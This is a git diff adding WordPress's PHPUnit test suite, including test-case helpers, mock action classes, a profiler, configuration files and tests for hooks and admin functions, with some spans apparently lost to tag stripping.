'dbdelta_create_queries', array( $this, '_create_temporary_tables' ) ); + add_filter( 'query', array( $this, '_drop_temporary_tables' ) ); + } + + function _create_temporary_tables( $queries ) { + return str_replace( 'CREATE TABLE', 'CREATE TEMPORARY TABLE', $queries ); + } + + function _drop_temporary_tables( $query ) { + if ( 'DROP TABLE' === substr( $query, 0, 10 ) ) + return 'DROP TEMPORARY TABLE ' . substr( $query, 10 ); + return $query; + } + + function get_wp_die_handler( $handler ) { + return array( $this, 'wp_die_handler' ); + } + + function wp_die_handler( $message ) { + throw new WPDieException( $message ); + } + + function assertWPError( $actual, $message = '' ) { + $this->assertInstanceOf( 'WP_Error', $actual, $message ); + } + + function assertEqualFields( $object, $fields ) { + foreach( $fields as $field_name => $field_value ) { + if ( $object->$field_name != $field_value ) { + $this->fail(); + } + } + } + + function assertDiscardWhitespace( $expected, $actual ) { + $this->assertEquals( preg_replace( '/\s*/', '', $expected ), preg_replace( '/\s*/', '', $actual ) ); + } + + function assertEqualSets( $expected, $actual ) { + $this->assertEquals( array(), array_diff( $expected, $actual ) ); + $this->assertEquals( array(), array_diff( $actual, $expected ) ); + } + + function go_to( $url ) { + // note: the WP and WP_Query classes like to silently fetch parameters + // from all over the place (globals, GET, etc), which makes it tricky + // to run them more than once without very carefully clearing everything + $_GET = $_POST = array(); + foreach (array('query_string', 'id', 'postdata', 'authordata', 'day', 'currentmonth', 'page', 'pages', 'multipage', 'more', 'numpages', 'pagenow') as $v) { + if ( isset( $GLOBALS[$v] ) ) unset( $GLOBALS[$v] ); + } + $parts = parse_url($url); + if (isset($parts['scheme'])) { + $req = $parts['path']; + if (isset($parts['query'])) { + $req .= '?' . $parts['query']; + // parse the url query vars into $_GET + parse_str($parts['query'], $_GET); + } + } else { + $req = $url; + } + if ( ! isset( $parts['query'] ) ) { + $parts['query'] = ''; + } + + $_SERVER['REQUEST_URI'] = $req; + unset($_SERVER['PATH_INFO']); + + $this->flush_cache(); + unset($GLOBALS['wp_query'], $GLOBALS['wp_the_query']); + $GLOBALS['wp_the_query'] =& new WP_Query(); + $GLOBALS['wp_query'] =& $GLOBALS['wp_the_query']; + $GLOBALS['wp'] =& new WP(); + + // clean out globals to stop them polluting wp and wp_query + foreach ($GLOBALS['wp']->public_query_vars as $v) { + unset($GLOBALS[$v]); + } + foreach ($GLOBALS['wp']->private_query_vars as $v) { + unset($GLOBALS[$v]); + } + + $GLOBALS['wp']->main($parts['query']); + } + + protected function checkRequirements() { + parent::checkRequirements(); + if ( WP_TESTS_FORCE_KNOWN_BUGS ) + return; + $tickets = PHPUnit_Util_Test::getTickets( get_class( $this ), $this->getName( false ) ); + foreach ( $tickets as $ticket ) { + if ( is_numeric( $ticket ) ) { + $this->knownWPBug( $ticket ); + } elseif ( 'UT' == substr( $ticket, 0, 2 ) ) { + $ticket = substr( $ticket, 2 ); + if ( $ticket && is_numeric( $ticket ) ) + $this->knownUTBug( $ticket ); + } elseif ( 'Plugin' == substr( $ticket, 0, 6 ) ) { + $ticket = substr( $ticket, 6 ); + if ( $ticket && is_numeric( $ticket ) ) + $this->knownPluginBug( $ticket ); + } + } + } + + /** + * Skips the current test if there is an open WordPress ticket with id $ticket_id + */ + function knownWPBug( $ticket_id ) { + if ( WP_TESTS_FORCE_KNOWN_BUGS || in_array( $ticket_id, self::$forced_tickets ) ) + return; + if ( ! TracTickets::isTracTicketClosed( 'http://core.trac.wordpress.org', $ticket_id ) ) + $this->markTestSkipped( sprintf( 'WordPress Ticket #%d is not fixed', $ticket_id ) ); + } + + /** + * Skips the current test if there is an open unit tests ticket with id $ticket_id + */ + function knownUTBug( $ticket_id ) { + if ( WP_TESTS_FORCE_KNOWN_BUGS || in_array( 'UT' . $ticket_id, self::$forced_tickets ) ) + return; + if ( ! TracTickets::isTracTicketClosed( 'http://unit-tests.trac.wordpress.org', $ticket_id ) ) + $this->markTestSkipped( sprintf( 'Unit Tests Ticket #%d is not fixed', $ticket_id ) ); + } + + /** + * Skips the current test if there is an open plugin ticket with id $ticket_id + */ + function knownPluginBug( $ticket_id ) { + if ( WP_TESTS_FORCE_KNOWN_BUGS || in_array( 'Plugin' . $ticket_id, self::$forced_tickets ) ) + return; + if ( ! TracTickets::isTracTicketClosed( 'http://plugins.trac.wordpress.org', $ticket_id ) ) + $this->markTestSkipped( sprintf( 'WordPress Plugin Ticket #%d is not fixed', $ticket_id ) ); + } + + public static function forceTicket( $ticket ) { + self::$forced_tickets[] = $ticket; + } + + /** + * Define constants after including files. + */ + function prepareTemplate( $template ) { + $template->setVar( array( 'constants' => '' ) ); + $template->setVar( array( 'wp_constants' => PHPUnit_Util_GlobalState::getConstantsAsString() ) ); + parent::prepareTemplate( $template ); + } + + /** + * Returns the name of a temporary file + */ + function temp_filename() { + $tmp_dir = ''; + $dirs = array( 'TMP', 'TMPDIR', 'TEMP' ); + foreach( $dirs as $dir ) + if ( isset( $_ENV[$dir] ) && !empty( $_ENV[$dir] ) ) { + $tmp_dir = $dir; + break; + } + if ( empty( $tmp_dir ) ) { + $tmp_dir = '/tmp'; + } + $tmp_dir = realpath( $dir ); + return tempnam( $tmp_dir, 'wpunit' ); + } +} diff --git a/tests/includes/trac.php b/tests/includes/trac.php new file mode 100644 index 0000000000..70b56a0a13 --- /dev/null +++ b/tests/includes/trac.php @@ -0,0 +1,54 @@ +reset(); + $this->debug = $debug; + } + + function reset() { + $this->events = array(); + } + + function current_filter() { + if (is_callable('current_filter')) + return current_filter(); + global $wp_actions; + return end($wp_actions); + } + + function action($arg) { +if ($this->debug) dmp(__FUNCTION__, $this->current_filter()); + $args = func_get_args(); + $this->events[] = array('action' => __FUNCTION__, 'tag'=>$this->current_filter(), 'args'=>$args); + return $arg; + } + + function action2($arg) { +if ($this->debug) dmp(__FUNCTION__, $this->current_filter()); + + $args = func_get_args(); + $this->events[] = array('action' => __FUNCTION__, 'tag'=>$this->current_filter(), 'args'=>$args); + return $arg; + } + + function filter($arg) { +if ($this->debug) dmp(__FUNCTION__, $this->current_filter()); + + $args = func_get_args(); + $this->events[] = array('filter' => __FUNCTION__, 'tag'=>$this->current_filter(), 'args'=>$args); + return $arg; + } + + function filter2($arg) { +if ($this->debug) dmp(__FUNCTION__, $this->current_filter()); + + $args = func_get_args(); + $this->events[] = array('filter' => __FUNCTION__, 'tag'=>$this->current_filter(), 'args'=>$args); + return $arg; + } + + function filter_append($arg) { +if ($this->debug) dmp(__FUNCTION__, $this->current_filter()); + + $args = func_get_args(); + $this->events[] = array('filter' => __FUNCTION__, 'tag'=>$this->current_filter(), 'args'=>$args); + return $arg . '_append'; + } + + function filterall($tag, $arg=NULL) { + // this one doesn't return the result, so it's safe to use with the new 'all' filter +if ($this->debug) dmp(__FUNCTION__, $this->current_filter()); + + $args = func_get_args(); + $this->events[] = array('filter' => __FUNCTION__, 'tag'=>$tag, 'args'=>array_slice($args, 1)); + } + + // return a list of all the actions, tags and args + function get_events() { + return $this->events; + } + + // return a count of the number of times the action was called since the last reset + function get_call_count($tag='') { + if ($tag) { + $count = 0; + foreach ($this->events as $e) + if ($e['action'] == $tag) + ++$count; + return $count; + } + return count($this->events); + } + + // return an array of the tags that triggered calls to this action + function get_tags() { + $out = array(); + foreach ($this->events as $e) { + $out[] = $e['tag']; + } + return $out; + } + + // return an array of args passed in calls to this action + function get_args() { + $out = array(); + foreach ($this->events as $e) + $out[] = $e['args']; + return $out; + } +} + +// convert valid xml to an array tree structure +// kinda lame but it works with a default php 4 install +class testXMLParser { + var $xml; + var $data = array(); + + function testXMLParser($in) { + $this->xml = xml_parser_create(); + xml_set_object($this->xml, $this); + xml_parser_set_option($this->xml,XML_OPTION_CASE_FOLDING, 0); + xml_set_element_handler($this->xml, array(&$this, 'startHandler'), array(&$this, 'endHandler')); + xml_set_character_data_handler($this->xml, array(&$this, 'dataHandler')); + $this->parse($in); + } + + function parse($in) { + $parse = xml_parse($this->xml, $in, sizeof($in)); + if (!$parse) { + trigger_error(sprintf("XML error: %s at line %d", + xml_error_string(xml_get_error_code($this->xml)), + xml_get_current_line_number($this->xml)), E_USER_ERROR); + xml_parser_free($this->xml); + } + return true; + } + + function startHandler($parser, $name, $attributes) { + $data['name'] = $name; + if ($attributes) { $data['attributes'] = $attributes; } + $this->data[] = $data; + } + + function dataHandler($parser, $data) { + $index = count($this->data) - 1; + @$this->data[$index]['content'] .= $data; + } + + function endHandler($parser, $name) { + if (count($this->data) > 1) { + $data = array_pop($this->data); + $index = count($this->data) - 1; + $this->data[$index]['child'][] = $data; + } + } +} + +function xml_to_array($in) { + $p = new testXMLParser($in); + return $p->data; +} + +function xml_find($tree /*, $el1, $el2, $el3, .. */) { + $a = func_get_args(); + $a = array_slice($a, 1); + $n = count($a); + $out = array(); + + if ($n < 1) + return $out; + + for ($i=0; $i$v) + $a[] = $k.'="'.$v.'"'; + return join(' ', $a); +} + +function xml_array_dumbdown(&$data) { + $out = array(); + + foreach (array_keys($data) as $i) { + $name = $data[$i]['name']; + if (!empty($data[$i]['attributes'])) + $name .= ' '.xml_join_atts($data[$i]['attributes']); + + if (!empty($data[$i]['child'])) { + $out[$name][] = xml_array_dumbdown($data[$i]['child']); + } + else + $out[$name] = $data[$i]['content']; + } + + return $out; +} + +function dmp() { + $args = func_get_args(); + + foreach ($args as $thing) + echo (is_scalar($thing) ? strval($thing) : var_export($thing, true)), "\n"; +} + +function dmp_filter($a) { + dmp($a); + return $a; +} + +function get_echo($callable, $args = array()) { + ob_start(); + call_user_func_array($callable, $args); + return ob_get_clean(); +} + +// recursively generate some quick assertEquals tests based on an array +function gen_tests_array($name, $array) { + $out = array(); + foreach ($array as $k=>$v) { + if (is_numeric($k)) + $index = strval($k); + else + $index = "'".addcslashes($k, "\n\r\t'\\")."'"; + + if (is_string($v)) { + $out[] = '$this->assertEquals( \'' . addcslashes($v, "\n\r\t'\\") . '\', $'.$name.'['.$index.'] );'; + } + elseif (is_numeric($v)) { + $out[] = '$this->assertEquals( ' . $v . ', $'.$name.'['.$index.'] );'; + } + elseif (is_array($v)) { + $out[] = gen_tests_array("{$name}[{$index}]", $v); + } + } + return join("\n", $out)."\n"; +} + +/** + * Use to create objects by yourself + */ +class MockClass {}; + +/** + * Drops all tables from the WordPress database + */ +function drop_tables() { + global $wpdb; + $tables = $wpdb->get_col('SHOW TABLES;'); + foreach ($tables as $table) + $wpdb->query("DROP TABLE IF EXISTS {$table}"); +} + +function print_backtrace() { + $bt = debug_backtrace(); + echo "Backtrace:\n"; + $i = 0; + foreach ($bt as $stack) { + echo ++$i, ": "; + if ( isset($stack['class']) ) + echo $stack['class'].'::'; + if ( isset($stack['function']) ) + echo $stack['function'].'() '; + echo "line {$stack[line]} in {$stack[file]}\n"; + } + echo "\n"; +} + +// mask out any input fields matching the given name +function mask_input_value($in, $name='_wpnonce') { + return preg_replace('@]*) name="'.preg_quote($name).'"([^>]*) value="[^>]*" />@', '', $in); +} + +$GLOBALS['_wp_die_disabled'] = false; +function _wp_die_handler( $message, $title = '', $args = array() ) { + if ( !$GLOBALS['_wp_die_disabled'] ) { + _default_wp_die_handler( $message, $title, $args ); + } else { + //Ignore at our peril + } +} + +function _disable_wp_die() { + $GLOBALS['_wp_die_disabled'] = true; +} + +function _enable_wp_die() { + $GLOBALS['_wp_die_disabled'] = false; +} + +function _wp_die_handler_filter() { + return '_wp_die_handler'; +} + +if ( !function_exists( 'str_getcsv' ) ) { + function str_getcsv( $input, $delimiter = ',', $enclosure = '"', $escape = "\\" ) { + $fp = fopen( 'php://temp/', 'r+' ); + fputs( $fp, $input ); + rewind( $fp ); + $data = fgetcsv( $fp, strlen( $input ), $delimiter, $enclosure ); + fclose( $fp ); + return $data; + } +} + +function _rmdir( $path ) { + if ( in_array(basename( $path ), array( '.', '..' ) ) ) { + return; + } elseif ( is_file( $path ) ) { + unlink( $path ); + } elseif ( is_dir( $path ) ) { + foreach ( scandir( $path ) as $file ) + _rmdir( $path . '/' . $file ); + rmdir( $path ); + } +} + +/** + * Removes the post type and its taxonomy associations. + */ +function _unregister_post_type( $cpt_name ) { + unset( $GLOBALS['wp_post_types'][ $cpt_name ] ); + unset( $GLOBALS['_wp_post_type_features'][ $cpt_name ] ); + + foreach ( $GLOBALS['wp_taxonomies'] as $taxonomy ) { + if ( false !== $key = array_search( $cpt_name, $taxonomy->object_type ) ) { + unset( $taxonomy->object_type[$key] ); + } + } +} + +function _unregister_taxonomy( $taxonomy_name ) { + unset( $GLOBALS['wp_taxonomies'][$taxonomy_name] ); +} diff --git a/tests/includes/wp-profiler.php b/tests/includes/wp-profiler.php new file mode 100644 index 0000000000..1ea4d2e49e --- /dev/null +++ b/tests/includes/wp-profiler.php @@ -0,0 +1,216 @@ +stack = array(); + $this->profile = array(); + } + + function start($name) { + $time = $this->microtime(); + + if (!$this->stack) { + // log all actions and filters + add_filter('all', array(&$this, 'log_filter')); + } + + // reset the wpdb queries log, storing it on the profile stack if necessary + global $wpdb; + if ($this->stack) { + $this->stack[count($this->stack)-1]['queries'] = $wpdb->queries; + } + $wpdb->queries = array(); + + global $wp_object_cache; + + $this->stack[] = array( + 'start' => $time, + 'name' => $name, + 'cache_cold_hits' => $wp_object_cache->cold_cache_hits, + 'cache_warm_hits' => $wp_object_cache->warm_cache_hits, + 'cache_misses' => $wp_object_cache->cache_misses, + 'cache_dirty_objects' => $this->_dirty_objects_count($wp_object_cache->dirty_objects), + 'actions' => array(), + 'filters' => array(), + 'queries' => array(), + ); + + } + + function stop() { + $item = array_pop($this->stack); + $time = $this->microtime($item['start']); + $name = $item['name']; + + global $wpdb; + $item['queries'] = $wpdb->queries; + global $wp_object_cache; + + $cache_dirty_count = $this->_dirty_objects_count($wp_object_cache->dirty_objects); + $cache_dirty_delta = $this->array_sub($cache_dirty_count, $item['cache_dirty_objects']); + + if (isset($this->profile[$name])) { + $this->profile[$name]['time'] += $time; + $this->profile[$name]['calls'] ++; + $this->profile[$name]['cache_cold_hits'] += ($wp_object_cache->cold_cache_hits - $item['cache_cold_hits']); + $this->profile[$name]['cache_warm_hits'] += ($wp_object_cache->warm_cache_hits - $item['cache_warm_hits']); + $this->profile[$name]['cache_misses'] += ($wp_object_cache->cache_misses - $item['cache_misses']); + $this->profile[$name]['cache_dirty_objects'] = array_add( $this->profile[$name]['cache_dirty_objects'], $cache_dirty_delta) ; + $this->profile[$name]['actions'] = array_add( $this->profile[$name]['actions'], $item['actions'] ); + $this->profile[$name]['filters'] = array_add( $this->profile[$name]['filters'], $item['filters'] ); + $this->profile[$name]['queries'] = array_add( $this->profile[$name]['queries'], $item['queries'] ); + #$this->_query_summary($item['queries'], $this->profile[$name]['queries']); + + } + else { + $queries = array(); + $this->_query_summary($item['queries'], $queries); + $this->profile[$name] = array( + 'time' => $time, + 'calls' => 1, + 'cache_cold_hits' => ($wp_object_cache->cold_cache_hits - $item['cache_cold_hits']), + 'cache_warm_hits' => ($wp_object_cache->warm_cache_hits - $item['cache_warm_hits']), + 'cache_misses' => ($wp_object_cache->cache_misses - $item['cache_misses']), + 'cache_dirty_objects' => $cache_dirty_delta, + 'actions' => $item['actions'], + 'filters' => $item['filters'], +# 'queries' => $item['queries'], + 'queries' => $queries, + ); + } + + if (!$this->stack) { + remove_filter('all', array(&$this, 'log_filter')); + } + } + + function microtime($since = 0.0) { + list($usec, $sec) = explode(' ', microtime()); + return (float)$sec + (float)$usec - $since; + } + + function log_filter($tag) { + if ($this->stack) { + global $wp_actions; + if ($tag == end($wp_actions)) + @$this->stack[count($this->stack)-1]['actions'][$tag] ++; + else + @$this->stack[count($this->stack)-1]['filters'][$tag] ++; + } + return $arg; + } + + function log_action($tag) { + if ($this->stack) + @$this->stack[count($this->stack)-1]['actions'][$tag] ++; + } + + function _current_action() { + global $wp_actions; + return $wp_actions[count($wp_actions)-1]; + } + + function results() { + return $this->profile; + } + + function _query_summary($queries, &$out) { + foreach ($queries as $q) { + $sql = $q[0]; + $sql = preg_replace('/(WHERE \w+ =) \d+/', '$1 x', $sql); + $sql = preg_replace('/(WHERE \w+ =) \'\[-\w]+\'/', '$1 \'xxx\'', $sql); + + @$out[$sql] ++; + } + asort($out); + return; + } + + function _query_count($queries) { + // this requires the savequeries patch at http://trac.wordpress.org/ticket/5218 + $out = array(); + foreach ($queries as $q) { + if (empty($q[2])) + @$out['unknown'] ++; + else + @$out[$q[2]] ++; + } + return $out; + } + + function _dirty_objects_count($dirty_objects) { + $out = array(); + foreach (array_keys($dirty_objects) as $group) + $out[$group] = count($dirty_objects[$group]); + return $out; + } + + function array_add($a, $b) { + $out = $a; + foreach (array_keys($b) as $key) + if (array_key_exists($key, $out)) + $out[$key] += $b[$key]; + else + $out[$key] = $b[$key]; + return $out; + } + + function array_sub($a, $b) { + $out = $a; + foreach (array_keys($b) as $key) + if (array_key_exists($key, $b)) + $out[$key] -= $b[$key]; + return $out; + } + + function print_summary() { + $results = $this->results(); + + printf("\nname calls time action filter warm cold misses dirty\n"); + foreach ($results as $name=>$stats) { + printf("%24.24s %6d %6.4f %6d %6d %6d %6d %6d %6d\n", $name, $stats['calls'], $stats['time'], array_sum($stats['actions']), array_sum($stats['filters']), $stats['cache_warm_hits'], $stats['cache_cold_hits'], $stats['cache_misses'], array_sum($stats['cache_dirty_objects'])); + } + } +} + +global $wppf; +$wppf = new WPProfiler(); + +function wppf_start($name) { + $GLOBALS['wppf']->start($name); +} + +function wppf_stop() { + $GLOBALS['wppf']->stop(); +} + +function wppf_results() { + return $GLOBALS['wppf']->results(); +} + +function wppf_print_summary() { + $GLOBALS['wppf']->print_summary(); +} + +?> \ No newline at end of file diff --git a/tests/multisite.xml b/tests/multisite.xml new file mode 100644 index 0000000000..5408a3b67a --- /dev/null +++ b/tests/multisite.xml @@ -0,0 +1,28 @@ + + + + + + + + tests + tests/actions/closures.php + tests/image/editor.php + tests/image/editor_gd.php + tests/image/editor_imagick.php + tests/actions/closures.php + tests/image/editor.php + tests/image/editor_gd.php + tests/image/editor_imagick.php + + + + + ajax + + + diff --git a/tests/phpunit.xml.dist b/tests/phpunit.xml.dist new file mode 100644 index 0000000000..ff0b5882d7 --- /dev/null +++ b/tests/phpunit.xml.dist @@ -0,0 +1,28 @@ + + + + + tests + tests/actions/closures.php + tests/image/editor.php + tests/image/editor_gd.php + tests/image/editor_imagick.php + tests/actions/closures.php + tests/image/editor.php + tests/image/editor_gd.php + tests/image/editor_imagick.php + + + + + ajax + + + + + + diff --git a/tests/tests/actions.php b/tests/tests/actions.php new file mode 100644 index 0000000000..fb87ee0ab3 --- /dev/null +++ b/tests/tests/actions.php @@ -0,0 +1,253 @@ +assertEquals(1, $a->get_call_count()); + // only our hook was called + $this->assertEquals(array($tag), $a->get_tags()); + + $args = array_pop($a->get_args()); + $this->assertEquals(array(''), $args); + } + + function test_remove_action() { + $a = new MockAction(); + $tag = rand_str(); + + add_action($tag, array(&$a, 'action')); + do_action($tag); + + // make sure our hook was called correctly + $this->assertEquals(1, $a->get_call_count()); + $this->assertEquals(array($tag), $a->get_tags()); + + // now remove the action, do it again, and make sure it's not called this time + remove_action($tag, array(&$a, 'action')); + do_action($tag); + $this->assertEquals(1, $a->get_call_count()); + $this->assertEquals(array($tag), $a->get_tags()); + + } + + function test_has_action() { + $tag = rand_str(); + $func = rand_str(); + + $this->assertFalse( has_action($tag, $func) ); + $this->assertFalse( has_action($tag) ); + add_action($tag, $func); + $this->assertEquals( 10, has_action($tag, $func) ); + $this->assertTrue( has_action($tag) ); + remove_action($tag, $func); + $this->assertFalse( has_action($tag, $func) ); + $this->assertFalse( has_action($tag) ); + } + + // one tag with multiple actions + function test_multiple_actions() { + $a1 = new MockAction(); + $a2 = new MockAction(); + $tag = rand_str(); + + // add both actions to the hook + add_action($tag, array(&$a1, 'action')); + add_action($tag, array(&$a2, 'action')); + + do_action($tag); + + // both actions called once each + $this->assertEquals(1, $a1->get_call_count()); + $this->assertEquals(1, $a2->get_call_count()); + } + + function test_action_args_1() { + $a = new MockAction(); + $tag = rand_str(); + $val = rand_str(); + + add_action($tag, array(&$a, 'action')); + // call the action with a single argument + do_action($tag, $val); + + $this->assertEquals(1, $a->get_call_count()); + $this->assertEquals(array($val), array_pop($a->get_args())); + } + + function test_action_args_2() { + $a1 = new MockAction(); + $a2 = new MockAction(); + $tag = rand_str(); + $val1 = rand_str(); + $val2 = rand_str(); + + // a1 accepts two arguments, a2 doesn't + add_action($tag, array(&$a1, 'action'), 10, 2); + add_action($tag, array(&$a2, 'action')); + // call the action with two arguments + do_action($tag, $val1, $val2); + + // a1 should be called with both args + $this->assertEquals(1, $a1->get_call_count()); + $this->assertEquals(array($val1, $val2), array_pop($a1->get_args())); + + // a2 should be called with one only + $this->assertEquals(1, $a2->get_call_count()); + $this->assertEquals(array($val1), array_pop($a2->get_args())); + } + + function test_action_priority() { + $a = new MockAction(); + $tag = rand_str(); + + add_action($tag, array(&$a, 'action'), 10); + add_action($tag, array(&$a, 'action2'), 9); + do_action($tag); + + // two events, one per action + $this->assertEquals(2, $a->get_call_count()); + + $expected = array ( + // action2 is called first because it has priority 9 + array ( + 'action' => 'action2', + 'tag' => $tag, + 'args' => array('') + ), + // action 1 is called second + array ( + 'action' => 'action', + 'tag' => $tag, + 'args' => array('') + ), + ); + + $this->assertEquals($expected, $a->get_events()); + } + + function test_did_action() { + $tag1 = rand_str(); + $tag2 = rand_str(); + + // do action tag1 but not tag2 + do_action($tag1); + $this->assertEquals(1, did_action($tag1)); + $this->assertEquals(0, did_action($tag2)); + + // do action tag2 a random number of times + $count = rand(0, 10); + for ($i=0; $i<$count; $i++) + do_action($tag2); + + // tag1's count hasn't changed, tag2 should be correct + $this->assertEquals(1, did_action($tag1)); + $this->assertEquals($count, did_action($tag2)); + + } + + function test_all_action() { + $a = new MockAction(); + $tag1 = rand_str(); + $tag2 = rand_str(); + + // add an 'all' action + add_action('all', array(&$a, 'action')); + $this->assertEquals(10, has_filter('all', array(&$a, 'action'))); + // do some actions + do_action($tag1); + do_action($tag2); + do_action($tag1); + do_action($tag1); + + // our action should have been called once for each tag + $this->assertEquals(4, $a->get_call_count()); + // only our hook was called + $this->assertEquals(array($tag1, $tag2, $tag1, $tag1), $a->get_tags()); + + remove_action('all', array(&$a, 'action')); + $this->assertFalse(has_filter('all', array(&$a, 'action'))); + + } + + function test_remove_all_action() { + $a = new MockAction(); + $tag = rand_str(); + + add_action('all', array(&$a, 'action')); + $this->assertEquals(10, has_filter('all', array(&$a, 'action'))); + do_action($tag); + + // make sure our hook was called correctly + $this->assertEquals(1, $a->get_call_count()); + $this->assertEquals(array($tag), $a->get_tags()); + + // now remove the action, do it again, and make sure it's not called this time + remove_action('all', array(&$a, 'action')); + $this->assertFalse(has_filter('all', array(&$a, 'action'))); + do_action($tag); + $this->assertEquals(1, $a->get_call_count()); + $this->assertEquals(array($tag), $a->get_tags()); + } + + function test_action_ref_array() { + $obj = new stdClass(); + $a = new MockAction(); + $tag = rand_str(); + + add_action($tag, array(&$a, 'action')); + + do_action_ref_array($tag, array(&$obj)); + + $args = $a->get_args(); + $this->assertSame($args[0][0], $obj); + // just in case we don't trust assertSame + $obj->foo = true; + $this->assertFalse( empty($args[0][0]->foo) ); + } + + /** + * @ticket 11241 + */ + function test_action_keyed_array() { + $a = new MockAction(); + + $tag = rand_str(); + + add_action($tag, array(&$a, 'action')); + + $context = array( rand_str() => rand_str() ); + do_action($tag, $context); + + $args = $a->get_args(); + $this->assertSame($args[0][0], $context); + + $context2 = array( rand_str() => rand_str(), rand_str() => rand_str() ); + do_action($tag, $context2); + + $args = $a->get_args(); + $this->assertSame($args[1][0], $context2); + + } + + function test_action_self_removal() { + add_action( 'test_action_self_removal', array( $this, 'action_self_removal' ) ); + do_action( 'test_action_self_removal' ); + $this->assertEquals( 1, did_action( 'test_action_self_removal' ) ); + } + + function action_self_removal() { + remove_action( 'test_action_self_removal', array( $this, 'action_self_removal' ) ); + } +} diff --git a/tests/tests/actions/callbacks.php b/tests/tests/actions/callbacks.php new file mode 100644 index 0000000000..41db3dac3a --- /dev/null +++ b/tests/tests/actions/callbacks.php @@ -0,0 +1,22 @@ +assertFalse( has_action( $tag ) ); + + add_action( $tag, array( 'Class', 'method' ) ); + + $this->assertEquals( 10, has_action( $tag, array( 'Class', 'method' ) ) ); + + $this->assertEquals( 10, has_action( $tag, 'Class::method' ) ); + } +} diff --git a/tests/tests/actions/closures.php b/tests/tests/actions/closures.php new file mode 100644 index 0000000000..4dd3d5c1e3 --- /dev/null +++ b/tests/tests/actions/closures.php @@ -0,0 +1,38 @@ +assertSame( 10, has_action($tag, $closure) ); + + $context = array( rand_str(), rand_str() ); + do_action($tag, $context[0], $context[1]); + + $this->assertSame($GLOBALS[$context[0]], $context[1]); + + $tag2 = 'test_action_closure_2'; + $closure2 = function() { $GLOBALS['closure_no_args'] = true;}; + add_action($tag2, $closure2); + + $this->assertSame( 10, has_action($tag2, $closure2) ); + + do_action($tag2); + + $this->assertTrue($GLOBALS['closure_no_args']); + + remove_action( $tag, $closure ); + remove_action( $tag2, $closure2 ); + } +} diff --git a/tests/tests/admin/includesFile.php b/tests/tests/admin/includesFile.php new file mode 100644 index 0000000000..f4ee0f1375 --- /dev/null +++ b/tests/tests/admin/includesFile.php @@ -0,0 +1,38 @@ +assertEquals( str_replace( '\\', '/', ABSPATH ), get_home_path() ); + + update_option( 'home', 'http://localhost' ); + update_option( 'siteurl', 'http://localhost/wp' ); + + $_SERVER['SCRIPT_FILENAME'] = 'D:\root\vhosts\site\httpdocs\wp\wp-admin\options-permalink.php'; + $this->assertEquals( 'D:/root/vhosts/site/httpdocs/', get_home_path() ); + + $_SERVER['SCRIPT_FILENAME'] = '/Users/foo/public_html/trunk/wp/wp-admin/options-permalink.php'; + $this->assertEquals( '/Users/foo/public_html/trunk/', get_home_path() ); + + $_SERVER['SCRIPT_FILENAME'] = 'S:/home/wordpress/trunk/wp/wp-admin/options-permalink.php'; + $this->assertEquals( 'S:/home/wordpress/trunk/', get_home_path() ); + + update_option( 'home', $home ); + update_option( 'siteurl', $siteurl ); + $_SERVER['SCRIPT_FILENAME'] = $sfn; + } +} \ No newline at end of file diff --git a/tests/tests/admin/includesMisc.php b/tests/tests/admin/includesMisc.php new file mode 100644 index 0000000000..6293013ba5 --- /dev/null +++ b/tests/tests/admin/includesMisc.php @@ -0,0 +1,25 @@ + 'wordpress\.org/about/philosophy', // no longer strips slashes + 'wordpress.org/about/philosophy' + => 'wordpress.org/about/philosophy', + 'http://wordpress.org/about/philosophy/' + => 'wordpress.org/about/philosophy', // remove http, trailing slash + 'http://www.wordpress.org/about/philosophy/' + => 'wordpress.org/about/philosophy', // remove http, www + 'http://wordpress.org/about/philosophy/#box' + => 'wordpress.org/about/philosophy/#box', // don't shorten 35 characters + 'http://wordpress.org/about/philosophy/#decisions' + => 'wordpress.org/about/philosophy/#…', // shorten to 32 if > 35 after cleaning + ); + foreach ( $tests as $k => $v ) + $this->assertEquals( $v, url_shorten( $k ) ); + } +} diff --git a/tests/tests/admin/includesPlugin.php b/tests/tests/admin/includesPlugin.php new file mode 100644 index 0000000000..bb09d783b5 --- /dev/null +++ b/tests/tests/admin/includesPlugin.php @@ -0,0 +1,59 @@ + 'Hello Dolly', + 'Title' => 'Hello Dolly', + 'PluginURI' => 'http://wordpress.org/#', + 'Description' => 'This is not just a plugin, it symbolizes the hope and enthusiasm of an entire generation summed up in two words sung most famously by Louis Armstrong: Hello, Dolly. When activated you will randomly see a lyric from Hello, Dolly in the upper right of your admin screen on every page. By Matt Mullenweg.', + 'Author' => 'Matt Mullenweg', + 'AuthorURI' => 'http://ma.tt/', + 'Version' => '1.5.1', + 'TextDomain' => 'hello-dolly', + 'DomainPath' => '' + ); + + $this->assertTrue( is_array($data) ); + + foreach ($default_headers as $name => $value) { + $this->assertTrue(isset($data[$name])); + $this->assertEquals($value, $data[$name]); + } + } + + function test_menu_page_url() { + $current_user = get_current_user_id(); + wp_set_current_user( $this->factory->user->create( array( 'role' => 'administrator' ) ) ); + update_option( 'siteurl', 'http://example.com' ); + + // add some pages + add_options_page( 'Test Settings', 'Test Settings', 'manage_options', 'testsettings', 'mt_settings_page' ); + add_management_page( 'Test Tools', 'Test Tools', 'manage_options', 'testtools', 'mt_tools_page' ); + add_menu_page( 'Test Toplevel', 'Test Toplevel', 'manage_options', 'mt-top-level-handle', 'mt_toplevel_page' ); + add_submenu_page( 'mt-top-level-handle', 'Test Sublevel', 'Test Sublevel', 'manage_options', 'sub-page', 'mt_sublevel_page' ); + add_submenu_page( 'mt-top-level-handle', 'Test Sublevel 2', 'Test Sublevel 2', 'manage_options', 'sub-page2', 'mt_sublevel_page2' ); + add_theme_page( 'With Spaces', 'With Spaces', 'manage_options', 'With Spaces', 'mt_tools_page' ); + add_pages_page( 'Appending Query Arg', 'Test Pages', 'edit_pages', 'testpages', 'mt_pages_page' ); + + $expected['testsettings'] = 'http://example.com/wp-admin/options-general.php?page=testsettings'; + $expected['testtools'] = 'http://example.com/wp-admin/tools.php?page=testtools'; + $expected['mt-top-level-handle'] = 'http://example.com/wp-admin/admin.php?page=mt-top-level-handle'; + $expected['sub-page'] = 'http://example.com/wp-admin/admin.php?page=sub-page'; + $expected['sub-page2'] = 'http://example.com/wp-admin/admin.php?page=sub-page2'; + $expected['not_registered'] = ''; + $expected['With Spaces'] = 'http://example.com/wp-admin/themes.php?page=WithSpaces'; + $expected['testpages'] = 'http://example.com/wp-admin/edit.php?post_type=page&page=testpages'; + + foreach ($expected as $name => $value) { + $this->assertEquals( $value, menu_page_url( $name, false ) ); + } + + wp_set_current_user( $current_user ); + } +} diff --git a/tests/tests/admin/includesPost.php b/tests/tests/admin/includesPost.php new file mode 100644 index 